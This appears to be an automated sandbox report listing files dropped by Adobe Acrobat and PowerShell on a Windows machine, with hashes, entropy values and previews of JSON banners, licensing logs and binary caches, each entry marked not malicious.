Preview:	{"analyticsData":{"responseGUID":"90d85dc4-5c03-491b-92b1-109a4299ef77","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736705133954,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.27599981971605
Encrypted:	false
SSDEEP:	6:YEQXJ2HXnOKHVoZcg1vRcR0YTfoAvJfshHHrPeUkwRe9:YvXKXnN2Zc0v4gGUUUkee9
MD5:	6809E29DFECB1E356DAEE430CB397B87
SHA1:	0DE3363A3E7E4BF4091B9EBEB6E303008B57562F
SHA-256:	691AA50D5991F48DD77BA81088D460CCCBC329A0DF6357518CF290391349D80D
SHA-512:	69D75F1A15B1F3A763B14AAC26389A4FD48426F44F8FA936D04274D542B0F720FF16F348BF30054034A6306C90ACC536A6D12BEFE34152E95055EE04C8BB9AFE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"90d85dc4-5c03-491b-92b1-109a4299ef77","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736705133954,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.283711345348657
Encrypted:	false
SSDEEP:	6:YEQXJ2HXnOKHVoZcg1vRcR0YTfoAvJTqgFCrPeUkwRe9:YvXKXnN2Zc0v4gGTq16Ukee9
MD5:	6C9B34C6DCE226B5C2F8008CA63567C4
SHA1:	B7E485E0B9BFC4A67AF3FC7DFF2392AE6C639078
SHA-256:	7BF2956A317CE680FEEA5AE4FC0E2B431C28A05EF59148F881D342C69CB5DD28
SHA-512:	62DEBF3BAA766599AE61D4EBB878ED55B66C6CC7A9C4570D1755212A796F5FD85CA63D9A8D725E5885EC231E51B743EF27DE8DC43EB0FFD2D25697E2DC0956FE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"90d85dc4-5c03-491b-92b1-109a4299ef77","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736705133954,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.138234412513491
Encrypted:	false
SSDEEP:	24:YuWIz0aewayfXkOsP6lVyRc4ma2Hjxj0SJL6SyV2i2LSLCkOX0VAVK5bX9KIu5OG:YvIrO6lYRmau1QSG7V7OEGkBX9Kj
MD5:	D69C533F2D2B528F7761D61676848302
SHA1:	033B0D12E71000C7686179D4A19F38F44DC627DA
SHA-256:	7C6D4871DEFB151DD2F40D9E0BD3369A8839B871EAAE4F6F6589AD55F2F66B30
SHA-512:	D2D31C4B8A149CD9A3CDF0AC21CBC16CC1A55957862F738B33B750157514E07AFBBA38205EC955B4E9E0A8425C6D24A0FBCB1CB7421142BA8E36154331E4AD39
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"3cc940d6bd3ff01347f486442e2a0176","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736532123000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"00281064ac7c23bff0868db59aa8bd9a","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736532123000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"1a6adf08801236de4bda77f39ce522c4","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736532123000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"33cefa48a0f2d8a36ee59077cf8f1a68","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736532123000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"1a7b9fc9e7e2bd26db7594699ce82cce","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736532123000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"4fb0c1ce54967894e3d56a6d94049220","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1884119746476667
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUFLSvR9H9vxFGiDIAEkGVvphj:lNVmswUUUUUUUUFL+FGSItFj
MD5:	7D6D84CF8411D718E9CB02D5FB45EFC7
SHA1:	F0118450848BE26D59C0925132802E0C90B7DA8D
SHA-256:	36A04673DC56E6A18C8D48F542415E9491364EB00F02E97CF85DF61E9935916C
SHA-512:	CF69B100D04617F866FA9D2AA0DD1220A9A89715C491C3ED233ABD769BB745EE84D7C87BD0AF3D627240F131F0CD05629908C02945BFBAC1820B4B14E343E10A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6069713732940707
Encrypted:	false
SSDEEP:	48:7MmKUUUUUUUUUUFfvR9H9vxFGiDIAEkGVvrqFl2GL7msY:7+UUUUUUUUUUFXFGSItBKVmsY
MD5:	C5856B7D9681CE027B8D367AED4BBB31
SHA1:	4DA26FFD3E270C8376761139A4D66EF3F0CDD3C2
SHA-256:	B22B4A322651A431D878F589400153E9452194C0204ABFEFB83EB3576571391B
SHA-512:	361CEF91C4FBAF0EA97FF9536C340C16C6BA5F346FF089EECC268D565689631B86F27C92E01D88DD87A452115E53383AD6D854B17E7C285F2964D67D3C89FABC
Malicious:	false
Preview:	.... .c.....2.N......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgg9efHLQAIPIvzhuBF96G4bYyu:6a6TZ44ADEgYfHLQNPou+K
MD5:	427162C683872F4D187B651002BAE0AB
SHA1:	2F9563C0AE3CFC238EF7BCAF8AABFC637787CA42
SHA-256:	67A4AFA240BF3B070769BA850A74BEEC59D4E7EA2B854797E09AC818EA45939B
SHA-512:	5D4A040332FCBD72681B9A737888E661413E23DCCFE4FD4D6CC5FC08B9DACF1E0827CAD857C1A9D6F448EC66D5F6F15492A10F79349916814CD6C5F683BDEFEA
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul/nq/llh:NllUyt
MD5:	AB80AD9A08E5B16132325DF5584B2CBE
SHA1:	F7411B7A5826EE6B139EBF40A7BEE999320EF923
SHA-256:	5FBE5D71CECADD2A3D66721019E68DD78C755AA39991A629AE81C77B531733A4
SHA-512:	9DE2FB33C0EA36E1E174850AD894659D6B842CD624C1A543B2D391C8EBC74719F47FA88D0C4493EA820611260364C979C9CDF16AF1C517132332423CA0CB7654
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI30d3b.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5046637269111454
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEg:Qw946cPbiOxDlbYnuRK+bDg
MD5:	56F97ECC86027FE22D0B3B0B6D73CAC4
SHA1:	3C0E2CD1332D1112D822DE05C95B05AA6E6156E9
SHA-256:	631B0EAFB91DE0CF2EF9E5B00C9BC5CC4F962E24D807BA004A078034F31C15DF
SHA-512:	7B420AD7387EBFD151F3EE678D116C473BDD68BD5240B1F216AD30C5DF80F6730231063F5EBCD36BCE124001F42251BAE3C4A5640A91D839958B7D72609F27F3
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.3.:.0.2.:.0.4. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sd24vzos.iyh.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vwaccyn0.2ok.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 13-01-57-985.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.363930010682742
Encrypted:	false
SSDEEP:	384:wtxoBBcs2o6sb+Q+cSEDxiXi6ob86l9DrE8I+m2VLUbio6VbTwtqyxyn2YWc544m:VQv
MD5:	D4B876F61CAEAAD1AF20D78E24E1A032
SHA1:	B37795C594BE5035CD4930654752B87A28CEE65C
SHA-256:	316D472C8B0952735E42B5B466333459B9FEF27A3C45B4E401E81DEDB42F980F
SHA-512:	FD400E295AE81B3D228592292E898F08A779047ACF3FF94DE477779FB4B56F078DA1D351B4F72F9F7DB3EE48C76454739B01C6861EF2CAD5C6722C2C876D0A16
Malicious:	false
Preview:	SessionID=3378443c-8af5-4649-84eb-6aa5e57c0fa5.1736532117998 Timestamp=2025-01-10T13:01:57:998-0500 ThreadID=7824 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=3378443c-8af5-4649-84eb-6aa5e57c0fa5.1736532117998 Timestamp=2025-01-10T13:01:58:006-0500 ThreadID=7824 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=3378443c-8af5-4649-84eb-6aa5e57c0fa5.1736532117998 Timestamp=2025-01-10T13:01:58:006-0500 ThreadID=7824 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=3378443c-8af5-4649-84eb-6aa5e57c0fa5.1736532117998 Timestamp=2025-01-10T13:01:58:006-0500 ThreadID=7824 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=3378443c-8af5-4649-84eb-6aa5e57c0fa5.1736532117998 Timestamp=2025-01-10T13:01:58:006-0500 ThreadID=7824 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.383069029111365
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rJ:NH
MD5:	B014CC3422870E130D99B24D1DBEB9C4
SHA1:	2EAC60FB8AC9B84321A6F1A50A011F9581917D5C
SHA-256:	13BEA9526DB2512BA9BD3827D1522DC006D3AD71FE5675670B0EF3568720F002
SHA-512:	26E295FA1898EC49B141623F3255911E402B14A4F447EEAF9E7EA3E9ED9D050BB6810C9A235503B7EA9FDD24B355124051BDBAAAC42878EA61165D2197F51146
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\3955e70c-ae4f-4a13-a600-f23cc84d082b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\6872736f-ce56-48a4-9e6b-d1b8099887f2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xTwYIGNPgeWL07oYGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JTwZG/WLxYGZN3mlind9i4ufFXpAXkru
MD5:	DAB0D55487947A8C00DEFEB1863E5D52
SHA1:	CA21AE7C3A6C3B75C5FEE6CC45E57F4F8E9AAD6A
SHA-256:	915AF8947C717264BA12E43919E2AED3846C3C312EE46DFEE18A7F40BE119623
SHA-512:	A6C1268A6C488495C2D07A90F498014192501A27D4A597C20644F5C95D3E4A7777D8E884F13DA9933B8D5C399499C98BDE94988467F79BF11B4391869ACFAF17
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\a1486742-8e0b-48ca-bf72-239c47945d4b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 42290
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/rKdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07tOWL07oYGZQeYIGNPB:Ta3mlind9i4ufFXpAXkrfUs0kWLxYGZQ
MD5:	81778DB3CD3E202CD8FEB47572C9DF55
SHA1:	A030EAB46FE2ED66D14270A86F44303F0D742019
SHA-256:	2E4A0CE023C75E0A53D82D4D08DC4ACD144039D04CEA94103C26535CB5B56998
SHA-512:	97BFD23BD03D6E911059092ED0C44779588CE29AE31E8FA1510A7FEE2B92B9E07AE2FFD4614D2566D369E48554269DC95DE42E062E533A4AA5EEC4DBAAAD3D1B
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\c9698668-b985-4802-a332-f1886117db8c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... 